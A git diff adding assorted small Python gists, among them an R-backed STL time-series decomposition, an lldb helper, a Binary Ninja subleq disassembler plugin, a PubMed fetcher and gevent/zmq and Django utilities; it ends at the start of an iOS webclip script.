+from django.contrib.gis.db.models.query import GeoQuerySet
+from polymorphic import PolymorphicManager
+from polymorphic.query import PolymorphicQuerySet
+
+
+class GeoPolymorphicQuerySet(GeoQuerySet, PolymorphicQuerySet):
+    '''
+    QuerySet used in GeoPolymorphicManager.
+    '''
+    pass
+
+
+class GeoPolymorphicManager(models.GeoManager, PolymorphicManager):
+    '''
+    GeoManager with polymorfism functionalities (for django-polymorphic).
+    '''
+    queryset_class = GeoPolymorphicQuerySet
+
+    def get_query_set(self):
+        return self.queryset_class(self.model, using=self._db)
\ No newline at end of file
diff --git a/hard-gists/7808564/._snippet.py b/hard-gists/7808564/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7808564/._snippet.py differ
diff --git a/hard-gists/7808564/snippet.py b/hard-gists/7808564/snippet.py
new file mode 100644
index 00000000..15dcb314
--- /dev/null
+++ b/hard-gists/7808564/snippet.py
@@ -0,0 +1,181 @@
+# -*- coding: utf-8 -*-
+
+import datetime
+
+from numpy import asarray, ceil
+import pandas
+import rpy2.robjects as robjects
+
+def stl(data, ns, np=None, nt=None, nl=None, isdeg=0, itdeg=1, ildeg=1,
+        nsjump=None, ntjump=None, nljump=None, ni=2, no=0, fulloutput=False):
+    """
+    Seasonal-Trend decomposition procedure based on LOESS
+
+    data : pandas.Series
+
+    ns : int
+        Length of the seasonal smoother.
+        The value of  ns should be an odd integer greater than or equal to 3.
+        A value ns>6 is recommended. As ns  increases  the  values  of  the
+        seasonal component at a given point in the seasonal cycle (e.g., January
+        values of a monthly series with  a  yearly cycle) become smoother.
+
+    np : int
+        Period of the seasonal component.
+        For example, if  the  time series is monthly with a yearly cycle, then
+        np=12.
+        If no value is given, then the period will be determined from the
+        ``data`` timeseries.
+
+    nt : int
+        Length of the trend smoother.
+        The  value  of  nt should be an odd integer greater than or equal to 3.
+        A value of nt between 1.5*np and 2*np is  recommended. As nt increases,
+        the values of the trend component become  smoother.
+        If nt is None, it is estimated as the smallest odd integer greater
+        or equal to ``(1.5*np)/[1-(1.5/ns)]``
+
+    nl : int
+        Length of the low-pass filter.
+        The value of nl should  be an odd integer greater than or equal to 3.
+        The smallest odd integer greater than or equal to np is used by default.
+
+    isdeg : int
+        Degree of locally-fitted polynomial in seasonal smoothing.
+        The value is 0 or 1.
+
+    itdeg : int
+        Degree of locally-fitted polynomial in trend smoothing.
+        The value is 0 or 1.
+
+    ildeg : int
+        Degree of locally-fitted polynomial in low-pass smoothing.
+        The value is 0 or 1.
+
+    nsjump : int
+        Skipping value for seasonal smoothing.
+        The seasonal smoother skips ahead nsjump points and then linearly
+        interpolates in between.  The value  of nsjump should be a positive
+        integer; if nsjump=1, a seasonal smooth is calculated at all n points.
+        To make the procedure run faster, a reasonable choice for nsjump is
+        10%-20% of ns. By default, nsjump= 0.1*ns.
+
+    ntjump : int
+        Skipping value for trend smoothing. If None, ntjump= 0.1*nt
+
+    nljump : int
+        Skipping value for low-pass smoothing. If None, nljump= 0.1*nl
+
+    ni :int
+        Number of loops for updating the seasonal and trend  components.
+        The value of ni should be a positive integer.
+        See the next argument for advice on the  choice of ni.
+        If ni is None, ni is set to 2 for robust fitting, to 5 otherwise.
+
+    no : int
+        Number of iterations of robust fitting. The value of no should
+        be a nonnegative integer. If the data are well behaved without
+        outliers, then robustness iterations are not needed. In this case
+        set no=0, and set ni=2 to 5 depending on how much security
+        you want that  the seasonal-trend looping converges.
+        If outliers are present then no=3 is a very secure value unless
+        the outliers are radical, in which case no=5 or even 10 might
+        be better.  If no>0 then set ni to 1 or 2.
+        If None, then no is set to 15 for robust fitting, to 0 otherwise.
+
+    fulloutput : bool
+        If True, a dictionary holding the full output of the original R routine
+        will be returned.
+
+    returns
+
+    data : pandas.DataFrame
+        The seasonal, trend, and remainder components
+
+    """
+    # make sure that data doesn't start or end with nan
+    _data = data.copy()
+    _data = _data.dropna()
+    # TODO: account for non-monthly series
+    _idx = pandas.DateRange(start=_data.index[0], end=_data.index[-1],
+                            offset=pandas.datetools.MonthBegin())
+    data = pandas.Series(index=_idx)
+    data[_data.index] = _data
+
+    # zoo package contains na.approx
+    zoo_ = robjects.packages.importr("zoo")
+
+    ts_ = robjects.r['ts']
+    stl_ = robjects.r['stl']
+    naaction_ = robjects.r['na.approx']
+
+    # find out the period of the time series
+    if np is None:
+        np = 12
+        # TODO: find out the offset of the Series, and set np accordingly
+        #if isinstance(data.index.offset, pandas.core.datetools.MonthEnd):
+        #    np = 12
+        #else:
+        #    raise NotImplementedError()
+    # fill default values
+    if nt is None:
+        nt = ceil((1.5 * np) / (1 - (1.5 / ns)))
+    nt = nt + 1 if nt % 2 == 0 else nt
+
+    if nl is None:
+        nl = np if np % 2 is 1 else np + 1
+    if nsjump is None:
+        nsjump = ceil(ns / 10.)
+    if ntjump is None:
+        ntjump = ceil(nt / 10.)
+    if nljump is None:
+        nljump = ceil(nl / 10.)
+
+    # convert data to R object
+    if np is 12:
+        start = robjects.IntVector([data.index[0].year, data.index[0].month])
+    ts = ts_(robjects.FloatVector(asarray(data)), start=start, frequency=np)
+
+    if nt is None:
+        nt = robjects.rinterface.R_NilValue
+
+    result = stl_(ts, ns, isdeg, nt, itdeg, nl, ildeg, nsjump, ntjump, nljump,
+                  False, ni, no, naaction_)
+
+    res_ts = asarray(result[0])
+    try:
+        res_ts = pandas.DataFrame({"seasonal" : pandas.Series(res_ts[:,0],
+                                                           index=data.index),
+                                   "trend" : pandas.Series(res_ts[:,1],
+                                                           index=data.index),
+                                   "remainder" : pandas.Series(res_ts[:,2],
+                                                           index=data.index)})
+    except:
+        return res_ts, data
+        raise
+#        res_ts = pandas.DataFrame({"seasonal" : pandas.Series(index=data.index),
+#                                   "trend" : pandas.Series(index=data.index),
+#                                   "remainder" : pandas.Series(index=data.index)})
+
+    if fulloutput:
+        return {"time.series" : res_ts,
+                "weights" : result[1],
+                "call" : result[2],
+                "win" : result[3],
+                "deg" : result[4],
+                "jump" : result[5],
+                "ni" : result[6],
+                "no" : result[7]}
+    else:
+        return res_ts
+
+
+if __name__ == "__main__":
+    data = np.arange(85.) / 12.
+    data = np.sin(data * (2*np.pi))
+    data += np.arange(85.) / 12. * .5
+    data += .1 * np.random.randn(85)
+    idx = pandas.DateRange(start=datetime.datetime(1999,1,1), end=datetime.datetime(2006,2,1), offset=pandas.datetools.MonthEnd())
+    data = pandas.Series(data, index=idx)
+
+    res = stl(data, 7, nt=11)
\ No newline at end of file
diff --git a/hard-gists/7812916/._snippet.py b/hard-gists/7812916/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7812916/._snippet.py differ
diff --git a/hard-gists/7812916/snippet.py b/hard-gists/7812916/snippet.py
new file mode 100644
index 00000000..9a03b96f
--- /dev/null
+++ b/hard-gists/7812916/snippet.py
@@ -0,0 +1,23 @@
+#/usr/bin/env python
+
+import lldb
+
+# Put _this_ file into ~/Library/lldb/thread_return.py
+# Put the following line into ~/.lldbinit
+#     command script import ~/Library/lldb/thread_return.py
+
+def __lldb_init_module(debugger, internal_dict):
+    debugger.HandleCommand('command script add -f thread_return.thread_return thread_return')
+
+def thread_return(debugger, command, result, internal_dict):
+    '''Prints the return value of the last function you stepped out from.
+    
+    This is very useful if the return was a complex expression. This lldb command
+    prevents you from needing to create a temporary variable just to inspect the return value'''
+
+    # If anyone knows a way of doing this without using needing to script lldb in python...
+    target = debugger.GetSelectedTarget()
+    process = target.GetProcess()
+    thread = process.GetSelectedThread()
+    print >> result, str(thread.return_value)
+    return lldb.thread.return_value
diff --git a/hard-gists/781411170d36adb3197cba86b8653136/._snippet.py b/hard-gists/781411170d36adb3197cba86b8653136/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/781411170d36adb3197cba86b8653136/._snippet.py differ
diff --git a/hard-gists/781411170d36adb3197cba86b8653136/snippet.py b/hard-gists/781411170d36adb3197cba86b8653136/snippet.py
new file mode 100644
index 00000000..a9f8b8c9
--- /dev/null
+++ b/hard-gists/781411170d36adb3197cba86b8653136/snippet.py
@@ -0,0 +1,242 @@
+from binaryninja import (Architecture, RegisterInfo, InstructionInfo,
+    InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
+    BranchType,
+    LowLevelILOperation, LLIL_TEMP,
+    LowLevelILLabel,
+    FlagRole,
+    LowLevelILFlagCondition,
+    log_error,
+    CallingConvention,
+    interaction,
+    PluginCommand, BackgroundTaskThread,
+    HighlightStandardColor
+)
+
+
+import struct
+
+def hexr(a):
+    if a == 0x4:
+        return 'UserInput'
+    if a == 0x8:
+        return 'Output'
+    if a == 0xc:
+        return 'ReadBool'
+    if a == 0x10:
+        return 'WriteBool'
+    if a == 0x3d00:
+        return '*1'
+    return hex(a)
+
+# Helper function to make tokens easier to make
+def makeToken(tokenType, text, data=None):
+    tokenType = {
+            'i':InstructionTextTokenType.InstructionToken,
+            't':InstructionTextTokenType.TextToken,
+            'a':InstructionTextTokenType.PossibleAddressToken,
+            's':InstructionTextTokenType.OperandSeparatorToken
+    }[tokenType]
+
+    if data is None:
+        return InstructionTextToken(tokenType, text)
+    return InstructionTextToken(tokenType, text, data)
+
+
+class Subleq(Architecture):
+    name = "subleq"
+    address_size = 4
+    default_int_size = 4
+    max_instr_length = 12 # Each instruction is 3 dwords
+
+    # SP register is required, even if we are not going to use it
+    regs = {'sp': RegisterInfo('sp', 2)}
+    stack_pointer = 'sp'
+
+    def perform_get_instruction_info(self,data,addr):
+        # If we can't decode an instruction return None
+        if len(data) < 12:
+            return None
+
+        # Unpack our operands from the data
+        a,b,c = struct.unpack('<3I',data[:12])
+
+        # Create the InstructionInfo object for our instruction
+        res = InstructionInfo()
+        res.length = 12
+
+        if c != 0:
+            if b == a:
+                # Unconditional branch jumps to integer index c
+                res.add_branch(BranchType.UnconditionalBranch, c*4)
+            else:
+                # True branch jumps to integer index c 
+                res.add_branch(BranchType.TrueBranch, c*4)
+                # False branch continues to next instruction
+                res.add_branch(BranchType.FalseBranch, addr + 12)
+
+        return res
+
+
+    def perform_get_instruction_text(self, data, addr):
+        # If we can't decode an instruction return None
+        if len(data) < 12:
+            return None
+
+        # Unpack our operands from the data
+        a,b,c = struct.unpack('<3I',data[:4*3])
+        
+        tokens = []
+        
+        # Check for invalid instructions that would crash
+        if b*4 >= 0x4400 or a*4 >= 0x4400:
+            tokens = []
+            tokens.append(makeToken('i', '{:7s}'.format('invalid')))
+            return tokens, 4*3
+
+        # Clear instruction to be less verbose
+        # clear [B]
+        elif a == b:
+            tokens = []
+            tokens.append(makeToken('i', '{:7s}'.format('clear')))
+            tokens.append(makeToken('t', '['))
+            tokens.append(makeToken('a', hexr(b*4), b*4))
+            tokens.append(makeToken('t', ']'))
+
+        # Normal sub instruction
+        # sub [B], [A]
+        else:
+            tokens.append(makeToken('i', '{:7s}'.format('sub')))
+            tokens.append(makeToken('t', '['))
+
+
+            tokens.append(makeToken('a', hexr(b*4), b*4))
+            tokens.append(makeToken('t', ']'))
+            tokens.append(makeToken('s', ', '))
+            tokens.append(makeToken('t', '['))
+            tokens.append(makeToken('a', hexr(a*4), a*4))
+            tokens.append(makeToken('t', ']'))
+
+        
+        # Unconditional jump
+        # ; jmp C
+        if c != 0 and b == a:
+            tokens.append(makeToken('s', '; '))
+            tokens.append(makeToken('i', '{:7s}'.format('jmp')))
+            tokens.append(makeToken('a', hex(c*4), c*4))
+
+        # Conditional jump
+        # ; jmp C if [B] <= 0
+        elif c != 0:
+            tokens.append(makeToken('s', '; '))
+            tokens.append(makeToken('i', '{:7s}'.format('jmp')))
+            tokens.append(makeToken('a', hex(c*4), c*4))
+            tokens.append(makeToken('s', ' if '))
+            tokens.append(makeToken('t', '['))
+            tokens.append(makeToken('a', hex(b*4), b*4))
+            tokens.append(makeToken('t', ']'))
+            tokens.append(makeToken('t', ' <= 0'))
+
+        return tokens, 4*3
+
+
+    # Full LLIL lifting for subleq
+    def perform_get_instruction_low_level_il(self, data, addr, il):
+        # If we can't decode an instruction return None
+        if len(data) < 12:
+            return None
+
+        # Unpack our operands from the data
+        a,b,c = struct.unpack('<3I',data[:4*3])
+
+        # If this instruction would crash, ignore it
+        if b*4 >= 0x4400 or a*4 >= 0x4400:
+            il.append(il.nop())
+            return 4*3
+
+        # A, B, and C as pointers
+        addr_a = il.const_pointer(4, a*4)
+        addr_b = il.const_pointer(4, a*4)
+        addr_c = il.const_pointer(4, c*4)
+
+        # mem[A] and mem[B] pointers
+        mem_a = il.load(4, addr_a)
+        mem_b = il.load(4, addr_b)
+
+        # For a clear instruction just store 0
+        if a == b:
+            # *B = 0
+            store_b = il.store(4, addr_b, il.const(4,0))
+            il.append(store_b)
+
+        # For normal operation, construct a subtraction
+        else:
+            # *B = *B - *A
+            sub_op = il.sub(4, mem_b, mem_a)
+            store_b = il.store(4, addr_b, sub_op)
+            il.append(store_b)
+
+        # Unconditional jump
+        if c != 0 and b == a:
+            # goto C
+            jmp = il.jump(addr_c)
+            il.append(jmp)
+
+        # Conditional jump
+        elif c != 0:
+            # See if we have marked the True jump target before
+            t_target = il.get_label_for_address(Architecture['subleq'],
+                    il[il.const_pointer(4, c*4)].constant)
+
+            # Create the False jump label
+            f_target = LowLevelILLabel()
+
+            # If we have to create a jump IL for the True target
+            indirect = t_target is None
+            if indirect:
+                t_target = LowLevelILLabel()
+
+            less_op = il.compare_signed_less_equal(4, mem_b, il.const(4, 0))
+            if_op = il.if_expr(less_op, t_target, f_target)
+            il.append(if_op)
+
+            # We need to create a jump to the true target if it doesn't exist
+            if indirect:
+                il.mark_label(t_target)
+                jmp = il.jump(addr_c)
+                il.append(jmp)
+
+            # Last is the fall though for the false target
+            il.mark_label(f_target)
+
+
+        return 12
+
+Subleq.register()
+
+
+
+def markModifiableCode(bv, func):
+    # Loop over all instructions in the function
+    for t in (t for bb in func.basic_blocks for t in bb.disassembly_text):
+        # Find our sub tokens
+        if not t.tokens[0].text.startswith('sub '):
+            continue
+
+        addr = t.tokens[2].value
+        # Check if the address is in a basic block
+        bbs = bv.get_basic_blocks_at(addr)
+        if len(bbs) == 0:
+            continue
+
+        # Check that this address really is an instruction
+        for tt in bbs[0].disassembly_text:
+            if addr - tt.address >= 3 or addr - tt.address < 0:
+                continue
+            # Highlight it and add comments
+            bbs[0].function.set_user_instr_highlight(tt.address,
+                    HighlightStandardColor.RedHighlightColor)
+            bbs[0].function.set_comment_at(tt.address, "Modified by 0x%x"%t.address)
+            func.set_comment_at(t.address, "Modifies code at 0x%x"%tt.address)
+            break
+
+PluginCommand.register_for_function('Subleq check modifiable code', 'subleq', markModifiableCode)
diff --git a/hard-gists/7814472/._snippet.py b/hard-gists/7814472/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7814472/._snippet.py differ
diff --git a/hard-gists/7814472/snippet.py b/hard-gists/7814472/snippet.py
new file mode 100644
index 00000000..98afdf6b
--- /dev/null
+++ b/hard-gists/7814472/snippet.py
@@ -0,0 +1,28 @@
+import marisa_trie
+from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
+
+
+# hack to store vocabulary in MARISA Trie
+class _MarisaVocabularyMixin(object):
+
+    def fit_transform(self, raw_documents, y=None):
+        super(_MarisaVocabularyMixin, self).fit_transform(raw_documents)
+        self._freeze_vocabulary()
+        return super(_MarisaVocabularyMixin, self).fit_transform(raw_documents, y)
+        
+    def _freeze_vocabulary(self):
+        if not self.fixed_vocabulary_:
+            self.vocabulary_ = marisa_trie.Trie(self.vocabulary_.keys())
+            self.fixed_vocabulary_ = True
+            del self.stop_words_
+            
+
+class MarisaCountVectorizer(_MarisaVocabularyMixin, CountVectorizer):
+    pass
+
+
+class MarisaTfidfVectorizer(_MarisaVocabularyMixin, TfidfVectorizer):
+    def fit(self, raw_documents, y=None):
+        super(MarisaTfidfVectorizer, self).fit(raw_documents)
+        self._freeze_vocabulary()
+        return super(MarisaTfidfVectorizer, self).fit(raw_documents, y)
diff --git a/hard-gists/781740/._snippet.py b/hard-gists/781740/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/781740/._snippet.py differ
diff --git a/hard-gists/781740/snippet.py b/hard-gists/781740/snippet.py
new file mode 100644
index 00000000..3b57a9a1
--- /dev/null
+++ b/hard-gists/781740/snippet.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python2.7
+
+import scipy.ndimage as ndimage
+import numpy
+
+def local_maxima(array, min_distance = 1, periodic=False, edges_allowed=True): 
+    """Find all local maxima of the array, separated by at least min_distance."""
+    array = numpy.asarray(array)
+    cval = 0 
+    if periodic: 
+        mode = 'wrap' 
+    elif edges_allowed: 
+        mode = 'nearest' 
+    else: 
+        mode = 'constant' 
+    cval = array.max()+1 
+    max_points = array == ndimage.maximum_filter(array, 1+2*min_distance, mode=mode, cval=cval) 
+    return [indices[max_points] for indices in numpy.indices(array.shape)]
+
+s = [1, 4, 6, 8, 3, 2, 0]
+d = [2, 4, 6, 8, 23, 6, 4, 2, 5, 7, 8, 9, 4, 2, 0]
+
+print local_maxima(s)
+print local_maxima(d)
diff --git a/hard-gists/7820246/._snippet.py b/hard-gists/7820246/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7820246/._snippet.py differ
diff --git a/hard-gists/7820246/snippet.py b/hard-gists/7820246/snippet.py
new file mode 100644
index 00000000..e61411e4
--- /dev/null
+++ b/hard-gists/7820246/snippet.py
@@ -0,0 +1,167 @@
+"""Tools for searching Pubmed for a list of PMIDs.
+
+The goal here is to search for many PMIDs at once, since searching
+sequentially can take a long time. Using the the BioPython Entrez module
+is super convenient to this end.
+
+The results results are returned in a simple dictionary format.
+"""
+
+
+import calendar
+
+from Bio import Entrez
+
+
+# This is for translating abbreviated month names to numbers.
+months_rdict = {v: str(k) for k, v in enumerate(calendar.month_abbr)}
+
+# Returns a list or its value if there is only one.
+list_or_single = lambda l: l * (len(l) > 1) or l[0]
+
+def format_ddate(ddate):
+    """Turn a date dictionary into an ISO-type string (YYYY-MM-DD)."""
+    year = ddate['Year']
+    month = ddate['Month']
+    day = ddate['Day']
+    if not month.isdigit():
+        month = months_rdict.get(month, None)
+        if not month:
+            return None
+    return "%s-%s-%s" % (year, month.zfill(2), day.zfill(2))
+
+
+class PubmedSearcher(object):
+    """Fetches data from Pubmed using the Entrez module from Biopython."""
+
+    # There are the fields that we want to fetch, and all of them are single
+    # values except grantlist, which is a dictionary (as per Entrez).
+    # More fields can easily be added, and all that needs to be done is
+    # to add the appropriate extract_ and fetch_ methods below.
+    fields = [
+        'pmid', 'doi', 'vol', 'pages',
+        'year', 'pub_month', 'pub_day',
+        'date_pubmed_created', 'date_pubmed_updated',
+        'date_accepted', 'date_aheadofprint', 'date_pubmed_history',
+        'grantlist' # this is a dict!
+    ]
+
+    # Entrez normally limits the number of queries to 200, so work with smaller
+    # blocks of 100 to be on the safe side.
+    nblock = 100
+
+    def __init__(self, email):
+        """Entrez requires and email address."""
+        Entrez.email = email
+
+    def fetch_xml_round(self, pmid):
+        """Tries to fetch and parse the XML for a list of PMIDs."""
+        return Entrez.read(Entrez.efetch(db="pubmed", id=pmid, retmode="xml"))
+
+    def fetch_xml(self, pmid):
+        """This breaks the process up into blocks."""
+        nrounds = len(pmid) / self.nblock + (len(pmid) % self.nblock > 0)
+        if nrounds > 1:
+            print "Will query in %i rounds with %i articles per round." % (nrounds, self.nblock)
+            xml_data = []
+            for i in range(nrounds):
+                istart = i * self.nblock
+                ifinish = (i+1) * self.nblock
+                print "Fetching round %i..." % (i+1)
+                xml_data += self.fetch_xml_round(pmid[istart:ifinish])
+        else:
+            xml_data = self.fetch_xml_round(pmid)
+        return xml_data
+
+    def extract_id_factory(idtype):
+        """Extract and ID from Entrez XML output."""
+        def extract_id(self, xml_data):
+            for articleid in xml_data['PubmedData']['ArticleIdList']:
+                if articleid.attributes['IdType'].lower() == idtype:
+                    return str(articleid)
+        extract_id.__doc__ = """Extract the %s ID from Entrez XML output.""" % idtype
+        return extract_id
+    extract_pmid = extract_id_factory('pubmed')
+    extract_doi = extract_id_factory('doi')
+
+    def extract_date_factory(datetype):
+        def extract_date(self, xml_data):
+            for date in xml_data['PubmedData']['History']:
+                if date.attributes['PubStatus'].lower() == datetype:
+                    return format_ddate(date)
+        extract_date.__doc__ = """Extract %s date from Entrez XML output.""" % datetype
+        return extract_date
+    extract_date_accepted = extract_date_factory('accepted')
+    extract_date_aheadofprint = extract_date_factory('aheadofprint')
+    extract_date_pubmed_history = extract_date_factory('pubmed')
+
+    # Many fields can be pointed to via an Xpath directly, although we still want
+    # to mangle the result in many cases, so the factory needs some tweaking.
+    # To make names shorter, the 'field' argument passed to the factory
+    # is prefixed by "xpath_" to get the xpath variable name. Watch out for that!
+    xpath_year = ['MedlineCitation', 'Article', 'Journal', 'JournalIssue', 'PubDate', 'Year']
+    xpath_pub_month = ['MedlineCitation', 'Article', 'Journal', 'JournalIssue', 'PubDate', 'Month']
+    xpath_pub_day = ['MedlineCitation', 'Article', 'Journal', 'JournalIssue', 'PubDate', 'Day']
+    xpath_vol = ['MedlineCitation', 'Article', 'Journal', 'JournalIssue', 'Volume']
+    xpath_pages = ['MedlineCitation', 'Article', 'Pagination', 'MedlinePgn']
+    xpath_date_pubmed_created = ['MedlineCitation', 'DateCreated']
+    xpath_date_pubmed_updated = ['MedlineCitation', 'DateRevised']
+    def extract_xpath_factory(field, rdict=None, fmt=None):
+        def extract_xpath(self, xml_data):
+            try:
+                data = xml_data
+                for node in getattr(self, 'xpath_' + field):
+                    data = data[node]
+                if rdict != None:
+                    data = rdict[data]
+                if fmt != None:
+                    data = fmt(data)
+                return data
+            except (KeyError, TypeError):
+                return None
+        return extract_xpath
+    extract_year = extract_xpath_factory('year')
+    extract_pub_month = extract_xpath_factory('pub_month', rdict=months_rdict)
+    extract_pub_day = extract_xpath_factory('pub_day')
+    extract_vol = extract_xpath_factory('vol')
+    extract_pages = extract_xpath_factory('pages')
+    extract_date_pubmed_created = extract_xpath_factory('date_pubmed_created', fmt=format_ddate)
+    extract_date_pubmed_updated = extract_xpath_factory('date_pubmed_updated', fmt=format_ddate)
+
+    # The grantlist is a bit mroe convoluted, because it is itself a dictionary with several
+    # fields, which normally need to go together to by of use.
+    xpath_grantlist = ['MedlineCitation', 'Article', 'GrantList']
+    def extract_grantlist(self, xml_data):
+        try:
+            data = xml_data
+            for node in self.xpath_grantlist:
+                data = data[node]
+            fields = {'acronym':'Acronym', 'agency':'Agency', 'country':'Country', 'number':'GrantID'}
+            return [{k: d.get(v, None) for k, v in fields.items()} for d in data]
+        except (KeyError, TypeError):
+            return None
+
+    def fetch_field_factory(field):
+        """Return function that fetches a single field for many PMIDs."""
+        def fetch_field(self, pmid):
+            targets = [getattr(self, 'extract_' + field)(parsed) for parsed in self.fetch_xml(pmid)]
+            return list_or_single(targets)
+        return fetch_field
+    fetch_pmid = fetch_field_factory('pmid')
+    fetch_doi = fetch_field_factory('doi')
+    fetch_year = fetch_field_factory('year')
+    fetch_pub_month = fetch_field_factory('pub_month')
+    fetch_pub_day = fetch_field_factory('pub_day')
+    fetch_vol = fetch_field_factory('vol')
+    fetch_pages = fetch_field_factory('pages')
+
+    def fetch_all(self, pmid):
+        """Fetch all fields defined above, for many PMIDs."""
+        xml_data = self.fetch_xml(pmid)
+        fetched = []
+        for parsed in xml_data:
+            x = {}
+            for f in self.fields:
+                x[f] = getattr(self, "extract_" + f)(parsed)
+            fetched.append(x)
+        return fetched
diff --git a/hard-gists/783810/._snippet.py b/hard-gists/783810/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/783810/._snippet.py differ
diff --git a/hard-gists/783810/snippet.py b/hard-gists/783810/snippet.py
new file mode 100644
index 00000000..ef8dc94c
--- /dev/null
+++ b/hard-gists/783810/snippet.py
@@ -0,0 +1,104 @@
+"""The :mod:`zmq` module wraps the :class:`Socket` and :class:`Context` found in :mod:`pyzmq <zmq>` to be non blocking
+"""
+__zmq__ = __import__('zmq')
+from gevent.hub import _threadlocal
+from gevent.socket import wait_read, wait_write
+
+__patched__ = ['Context', 'Socket']
+globals().update(dict([(var, getattr(__zmq__, var))
+                       for var in __zmq__.__all__
+                       if not (var.startswith('__')
+                            or
+                              var in __patched__)
+                       ]))
+
+def Context(io_threads=1):
+    """Factory function replacement for :class:`zmq.core.context.Context`
+
+    Ensures only be one :class:`_Context` instance per thread.
+    """
+    try:
+        return _threadlocal.zmq_context
+    except AttributeError:
+        _threadlocal.zmq_context = _Context(io_threads)
+        return _threadlocal.zmq_context
+
+class _Context(__zmq__.Context):
+    """Internal subclass of :class:`zmq.core.context.Context`
+
+    .. warning:: Do not grab one of these yourself
+    """
+
+    def socket(self, socket_type):
+        """Overridden method to ensure that the green version of socket is used
+
+        Behaves the same as :meth:`zmq.core.context.Context.socket`, but ensures
+        that a :class:`Socket` with all of its send and recv methods set to be
+        non-blocking is returned
+        """
+        return Socket(self, socket_type)
+
+class Socket(__zmq__.Socket):
+    """Green version of :class:`zmq.core.socket.Socket
+
+    The following four methods are overridden:
+
+        * _send_message
+        * _send_copy
+        * _recv_message
+        * _recv_copy
+
+    To ensure that the ``zmq.NOBLOCK`` flag is set and that sending or recieving
+    is deferred to the hub if a ``zmq.EAGAIN`` (retry) error is raised
+    """
+
+
+    def _send_message(self, msg, flags=0):
+        flags |= __zmq__.NOBLOCK
+        while True:
+            try:
+                super(Socket, self)._send_message(msg, flags)
+                return
+            except __zmq__.ZMQError, e:
+                if e.errno != EAGAIN:
+                    raise
+            wait_write(self.getsockopt(__zmq__.FD))
+
+    def _send_copy(self, msg, flags=0):
+        flags |= __zmq__.NOBLOCK
+        while True:
+            try:
+                super(Socket, self)._send_copy(msg, flags)
+                return
+            except __zmq__.ZMQError, e:
+                if e.errno != EAGAIN:
+                    raise
+            wait_write(self.getsockopt(__zmq__.FD))
+
+    def _recv_message(self, flags=0, track=False):
+
+        flags |= __zmq__.NOBLOCK
+        while True:
+            try:
+                m = super(Socket, self)._recv_message(flags, track)
+                if m is not None:
+                    return m
+            except __zmq__.ZMQError, e:
+                if e.errno != EAGAIN:
+                    raise
+            wait_read(self.getsockopt(__zmq__.FD))
+
+    def _recv_copy(self, flags=0):
+        flags |= __zmq__.NOBLOCK
+        while True:
+            try:
+                m = super(Socket, self)._recv_copy(flags)
+                if m is not None:
+                    return m
+            except __zmq__.ZMQError, e:
+                if e.errno != EAGAIN:
+                    raise
+            wait_read(self.getsockopt(__zmq__.FD))
+
+
+
diff --git a/hard-gists/783993/._snippet.py b/hard-gists/783993/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/783993/._snippet.py differ
diff --git a/hard-gists/783993/snippet.py b/hard-gists/783993/snippet.py
new file mode 100644
index 00000000..ef23945c
--- /dev/null
+++ b/hard-gists/783993/snippet.py
@@ -0,0 +1,22 @@
+import mongoengine
+from django.conf import settings
+from django.core.exceptions import MiddlewareNotUsed
+
+class MongoEngineConnectionMiddleware(object):
+    ''' Ensure that a separate mongoengine connection is made per thread.
+        See: http://groups.google.com/group/mongoengine-users/browse_thread/thread/1aa3f9d65627c04
+
+        Assumes the following is your Django settings. Tweak as needed.
+        MONGODB = {
+            'db': '<database_name>',
+            'options': {
+                'host': '<host>',
+                'port': <port>,
+                'username': '<username>',
+                'password': '<password>'
+                }
+            }
+    '''
+    def __init__(self):
+        mongoengine.connect(settings.MONGODB['db'], **settings.MONGODB['options'])
+        raise MiddlewareNotUsed
\ No newline at end of file
diff --git a/hard-gists/7854404/._snippet.py b/hard-gists/7854404/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7854404/._snippet.py differ
diff --git a/hard-gists/7854404/snippet.py b/hard-gists/7854404/snippet.py
new file mode 100644
index 00000000..57c0ae1a
--- /dev/null
+++ b/hard-gists/7854404/snippet.py
@@ -0,0 +1,31 @@
+from django import template
+from django.utils.safestring import mark_safe
+from django.core.exceptions import ObjectDoesNotExist
+import re
+
+register = template.Library()
+
+@register.filter
+def post_with_inline_images(post_instance):
+    """
+    Pass in a blog post instance (not just the body). This blog post must have a body and one or more associated images.
+    """
+    body = post_instance.body
+
+    def insert_link(matchobj):
+        """
+        Replace a string of format <<<imgname$alt_text.css_class#some_id>>> with:
+        <img src="/path/to/imgname" alt="alt_text" class="css_class" id="some_id" />
+        """
+        imgname = matchobj.group('imgname')
+        try:
+            imgurl = post_instance.blogimage_set.get(name__exact=imgname).image.url
+        except ObjectDoesNotExist: # Print the harmless '<<<...>>>' pattern instead
+            return matchobj.group(0)
+
+        return '<img src="{0}" alt="{alt}" class="{class}" id="{id}" />'.format(
+            imgurl, **matchobj.groupdict(''))
+
+    return re.sub(
+    r'''<<<(?P<imgname>[-\w]+)(\$(?P<alt>[-\w\s]+))?(\.(?P<class>[-\w\s]+))?(\#(?P<id>[-\w]+))?>>>''',
+        insert_link, body, re.U)
\ No newline at end of file
diff --git a/hard-gists/7870550/._snippet.py b/hard-gists/7870550/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7870550/._snippet.py differ
diff --git a/hard-gists/7870550/snippet.py b/hard-gists/7870550/snippet.py
new file mode 100644
index 00000000..9c0bf0f7
--- /dev/null
+++ b/hard-gists/7870550/snippet.py
@@ -0,0 +1,72 @@
+# This script adds a "Webclip" shortcut to your homescreen.
+# The shortcut can be used to open a web page in full-screen mode,
+# or to launch a custom URL (e.g. a third-party app).
+# You'll be asked for a title, a URL, and an icon (from your camera roll)
+
+import plistlib
+import BaseHTTPServer
+import webbrowser
+import uuid
+from io import BytesIO
+import Image
